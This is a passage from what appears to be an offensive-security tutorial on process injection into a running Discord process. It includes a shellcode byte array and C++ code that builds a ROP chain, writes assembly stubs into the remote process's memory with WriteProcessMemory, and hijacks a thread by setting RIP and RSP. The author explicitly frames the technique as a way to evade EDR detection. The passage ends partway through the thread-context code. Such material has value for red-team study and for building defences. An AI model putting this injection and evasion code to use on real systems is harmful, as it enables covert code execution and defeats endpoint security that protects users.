class="mh">0x40</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0xe5</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x66</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc2</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xd1</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xb8</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0x96</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x87</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x9c</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xf7</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xc4</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x1c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0xe7</span><span class="p">,</span> <span class="mh">0xcc</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x1c</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc7</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xb8</span><span class="p">,</span> <span class="mh">0x9c</span><span class="p">,</span> <span class="mh">0x9e</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x9c</span><span class="p">,</span> <span class="mh">0xd1</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x87</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xf7</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe1</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xec</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xd7</span> <span class="p">};</span>
</code></pre></div></div>

<p>We start out by determining how many 8-byte chunks we need to create and also preparing our assembly stubs.  I’ll explain those in greater detail soon.  Both the ROP gadget chain and assembly stubs will be present within the gadget allocated memory region.  The gadgets will be at and the assembly stubs will be at <code class="language-plaintext highlighter-rouge">remoteGadgets + 0x800</code>.  Let’s check it out with some visuals and I’ll also include code to follow along with after the visuals.</p>

<p><img width="469" height="192" alt="image" src="https://github.com/user-attachments/assets/d0407aa1-02c6-4da8-8679-c6846a235b0e" /></p>

<p>At this point I’ve went into SystemInformer and opened up the Discord process running under PID 9292, navigated to the <code class="language-plaintext highlighter-rouge">Memory</code> tab, and copy and pasted the value for our <code class="language-plaintext highlighter-rouge">gadgets</code> memory address.</p>

<p><img width="1163" height="547" alt="image" src="https://github.com/user-attachments/assets/8d90286f-fadb-4cd8-8354-26e328df86c5" /></p>

<p>Double-click on the memory region once it shows up and you’ll see the entire ROP chain of all our gadgets, most of which are comprised of this gadget: <code class="language-plaintext highlighter-rouge">mov [rax], r8; ret</code> and the final <code class="language-plaintext highlighter-rouge">pop rsp, ret</code></p>

<p>In between each gadget address is the placeholder address for our assembly stub code cave</p>

<p><img width="924" height="200" alt="image" src="https://github.com/user-attachments/assets/244bcf78-37a3-499f-b290-a7c0aa8e466b" /></p>

<p>I can attach x64dbg to Discord and go to the first gadget address and see it does in fact point to our <code class="language-plaintext highlighter-rouge">mov [rax], r8; ret</code> gadget!  The stub address we won’t go to just yet.</p>

<p><img width="982" height="345" alt="image" src="https://github.com/user-attachments/assets/0348fea9-f49d-4fbd-a91a-22c2b83c043d" /></p>

<p>By the way, the final <code class="language-plaintext highlighter-rouge">pop rsp; ret</code> gadget (see code snippet below) will pop the address of the fake stack which will be pointing to the address of our shellcode after it’s written 😺  Sort of my inventive way of using a clean stack while executing shellcode in another memory region.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// After all the write gadgets...</span>
<span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">pgadget12</span><span class="p">);</span>  <span class="c1">// pop rsp; ret  </span>
<span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">safeStack</span><span class="p">);</span>  <span class="c1">// Set RSP to safe stack</span>
<span class="c1">// Now ret will pop the remoteShellcode address from safeStack + 0x3F00 and jump to the shellcode!</span>
</code></pre></div></div>

<p>Here’s the code for this entire section we’ve just covered above:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//**********************************************************</span>
<span class="c1">// ROP Gadgets Prepwork</span>
<span class="c1">//**********************************************************</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Building ROP chain with code caves for our assembly stubs..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="c1">// Calculate sizes</span>
    <span class="kt">size_t</span> <span class="n">addr_size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">);</span>
    <span class="kt">size_t</span> <span class="n">base_size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode_base</span><span class="p">);</span>
    <span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="n">shellcode_base</span><span class="p">;</span>

    <span class="c1">// Calculate number of 8-byte chunks</span>
    <span class="kt">size_t</span> <span class="n">numChunks</span> <span class="o">=</span> <span class="p">(</span><span class="n">base_size</span> <span class="o">+</span> <span class="mi">7</span><span class="p">)</span> <span class="o">/</span> <span class="mi">8</span><span class="p">;</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Shellcode size: "</span> <span class="o">&lt;&lt;</span> <span class="n">base_size</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes ("</span>
        <span class="o">&lt;&lt;</span> <span class="n">numChunks</span> <span class="o">&lt;&lt;</span> <span class="s">L" chunks)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="c1">// Allocate memory for code stubs within gadgets region</span>
    <span class="c1">// Each stub needs ~21 bytes, opting to use 32 for safety and alignment</span>
    <span class="n">SIZE_T</span> <span class="n">stubsSize</span> <span class="o">=</span> <span class="n">numChunks</span> <span class="o">*</span> <span class="mi">32</span><span class="p">;</span>
    <span class="n">LPVOID</span> <span class="n">codeStubs</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPVOID</span><span class="p">)((</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">remoteGadgets</span> <span class="o">+</span> <span class="mh">0x800</span><span class="p">);</span> <span class="c1">// Offset within gadgets region</span>

    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Code stubs will be at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">codeStubs</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="c1">//********************************************</span>
    <span class="c1">// Build ROP chain</span>
    <span class="c1">//********************************************</span>
    <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">DWORD64</span><span class="o">&gt;</span> <span class="n">ropChain</span><span class="p">;</span>
    <span class="kt">uintptr_t</span> <span class="n">stubAddr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">codeStubs</span><span class="p">;</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">numChunks</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>  <span class="c1">// Skip first stub in ROP chain (executed via RIP)</span>
            <span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">(</span><span class="n">stubAddr</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">pgadget3</span><span class="p">);</span>     <span class="c1">// mov [rax], r8; ret</span>
        <span class="n">stubAddr</span> <span class="o">+=</span> <span class="mi">32</span><span class="p">;</span>
    <span class="p">}</span>
   
    <span class="c1">// After all the write gadgets...</span>
    <span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">pgadget12</span><span class="p">);</span>  <span class="c1">// pop rsp; ret  </span>
    <span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">safeStack</span><span class="p">);</span>  <span class="c1">// Set RSP to safe stack</span>
    <span class="c1">// Now ret will pop the remoteShellcode address from safeStack + 0x3F00 and jump to the shellcode!</span>

    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] ROP chain: "</span> <span class="o">&lt;&lt;</span> <span class="n">ropChain</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">" entries"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="c1">//********************************************</span>

    <span class="c1">// Write ROP chain to start of gadgets region</span>
    <span class="n">SIZE_T</span> <span class="n">bytesWritten</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">remoteGadgets</span><span class="p">,</span> <span class="n">ropChain</span><span class="p">.</span><span class="n">data</span><span class="p">(),</span>
        <span class="n">ropChain</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="n">DWORD64</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">bytesWritten</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] WriteProcessMemory (ROP chain) failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] ROP chain written! ("</span> <span class="o">&lt;&lt;</span> <span class="n">bytesWritten</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">get</span><span class="p">();</span>
</code></pre></div></div>

<p>Next up, we need to write our assembly stubs which will increment both RAX and R8 registers by 8 so each time we write our shellcode chunks (8 byte chunks), we go to the next shellcode chunk and next 8 bytes in memory for the shellcode memory address, respectively.</p>

<h2 id="writing-the-assembly-stubs-for-rax-and-r8">Writing the Assembly Stubs for RAX and R8</h2>

<p>Let’s dive in right where we left off.  Here’s a visual of the code execution for all the assembly stubs getting added to our dedicated Gadgets memory address at the 0x800 mark.  You can see the individual shellcode chunks in RAX and the shellcode memory address we’re writing to.  notice how the shellcode memory address is incremented by 8:</p>

<p><img width="424" height="518" alt="image" src="https://github.com/user-attachments/assets/eb03eb5d-e59e-40fa-961e-cf966e13fb54" /></p>

<p>Now, go back in to <code class="language-plaintext highlighter-rouge">x64dbg</code> which is still attached to our <code class="language-plaintext highlighter-rouge">Discord</code> process.  Copy the code stub address, and in Discord do another control + G, paste in that address, and hit enter.  You’ll see our assembly stubs!</p>

<p><img width="1209" height="574" alt="image" src="https://github.com/user-attachments/assets/03e1c58a-4963-40ea-b9d3-ceb4975c1a55" /></p>

<p>This is where the magic happens folks 😸  This is the indirect writing mechanism I discussed briefly earlier.  We will be indirectly writing our shellcode chunks into the dedicated shellcode memory using the <code class="language-plaintext highlighter-rouge">mov [rax], r8; ret</code> gadget and NOT WriteVirtualMemory.  It will appear to an EDR engine like this is just part of Discord’s normal functionality 😄</p>

<p>Well if you’ve made it this far I extend a massive kudos to you!  I know this is a lot to take in.  We’re almost there though.  First, here’s the code for this section:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//*************************************************</span>
<span class="c1">// Generate assembly stubs to set R8 and RAX</span>
<span class="c1">//*************************************************</span>
<span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Generating code stubs..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

<span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">&gt;</span> <span class="n">allStubs</span><span class="p">;</span>
<span class="kt">uintptr_t</span> <span class="n">writeAddr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">remoteShellcode</span><span class="p">;</span>

<span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">numChunks</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Extract 8-byte chunk from shellcode</span>
    <span class="kt">uint64_t</span> <span class="n">chunk</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">size_t</span> <span class="n">bytesToCopy</span> <span class="o">=</span> <span class="n">min</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">base_size</span> <span class="o">-</span> <span class="p">(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">8</span><span class="p">));</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chunk</span><span class="p">,</span> <span class="n">shellcode_base</span> <span class="o">+</span> <span class="p">(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">8</span><span class="p">),</span> <span class="n">bytesToCopy</span><span class="p">);</span>

    <span class="c1">// Build stub:</span>
    <span class="c1">// mov r8, &lt;chunk&gt;      ; 10 bytes: 49 B8 [qword]</span>
    <span class="c1">// mov rax, &lt;writeAddr&gt; ; 10 bytes: 48 B8 [qword]</span>
    <span class="c1">// ret                  ; 1 byte:  C3</span>

    <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">stub</span><span class="p">[</span><span class="mi">32</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
    <span class="kt">int</span> <span class="n">offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// mov r8, imm64</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x49</span><span class="p">;</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xB8</span><span class="p">;</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">chunk</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
    <span class="n">offset</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>

    <span class="c1">// mov rax, imm64</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x48</span><span class="p">;</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xB8</span><span class="p">;</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">writeAddr</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
    <span class="n">offset</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>

    <span class="c1">// ret</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xC3</span><span class="p">;</span>

    <span class="c1">// Pad with NOPs</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="n">offset</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="mi">32</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">stub</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x90</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">allStubs</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="n">allStubs</span><span class="p">.</span><span class="n">end</span><span class="p">(),</span> <span class="n">stub</span><span class="p">,</span> <span class="n">stub</span> <span class="o">+</span> <span class="mi">32</span><span class="p">);</span>

    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Stub "</span> <span class="o">&lt;&lt;</span> <span class="n">i</span> <span class="o">&lt;&lt;</span> <span class="s">L": R8=0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">chunk</span>
        <span class="o">&lt;&lt;</span> <span class="s">L", RAX=0x"</span> <span class="o">&lt;&lt;</span> <span class="n">writeAddr</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="n">writeAddr</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Write stubs to gadgets region</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">codeStubs</span><span class="p">,</span> <span class="n">allStubs</span><span class="p">.</span><span class="n">data</span><span class="p">(),</span>
    <span class="n">allStubs</span><span class="p">.</span><span class="n">size</span><span class="p">(),</span> <span class="o">&amp;</span><span class="n">bytesWritten</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] WriteProcessMemory (stubs) failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Code stubs written ("</span> <span class="o">&lt;&lt;</span> <span class="n">bytesWritten</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</code></pre></div></div>

<p>Now on to the final section: Setting up our Thread Context and Resuming our hijacked thread to execute our ROP chain and assembly stubs!</p>

<h2 id="the-final-stretch---manipulating-our-hijacked-thread-to-execute-our-rop-gadgets-and-assembly-stubs">The Final Stretch - Manipulating our Hijacked thread to Execute our ROP gadgets and Assembly Stubs!</h2>

<p>Believe it or not, the final portion of code and the conclusion to our Living off the Process demonstration is not too crazy.  We just need to do the following, in order:</p>

<ul>
  <li>Suspend our hijacked thread</li>
  <li>Get the Thread’s current thread context</li>
  <li>Set the <code class="language-plaintext highlighter-rouge">RIP</code> register to our code stubs within the Gadgets memory region and the <code class="language-plaintext highlighter-rouge">RSP</code> register to our Gadget’s primary memory address</li>
  <li>Set the Thread Context to our new Register Values</li>
  <li>Resume the Thread!</li>
</ul>

<p>Here’s how that looks as far as code goes:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">//*************************************************</span>
 <span class="c1">// Set up thread context and execute</span>
 <span class="c1">//*************************************************</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Setting up thread context..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

 <span class="k">if</span> <span class="p">(</span><span class="n">SuspendThread</span><span class="p">(</span><span class="n">hThread</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] SuspendThread failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>

 <span class="n">CONTEXT</span> <span class="n">ctx</span> <span class="o">=</span> <span class="p">{};</span>
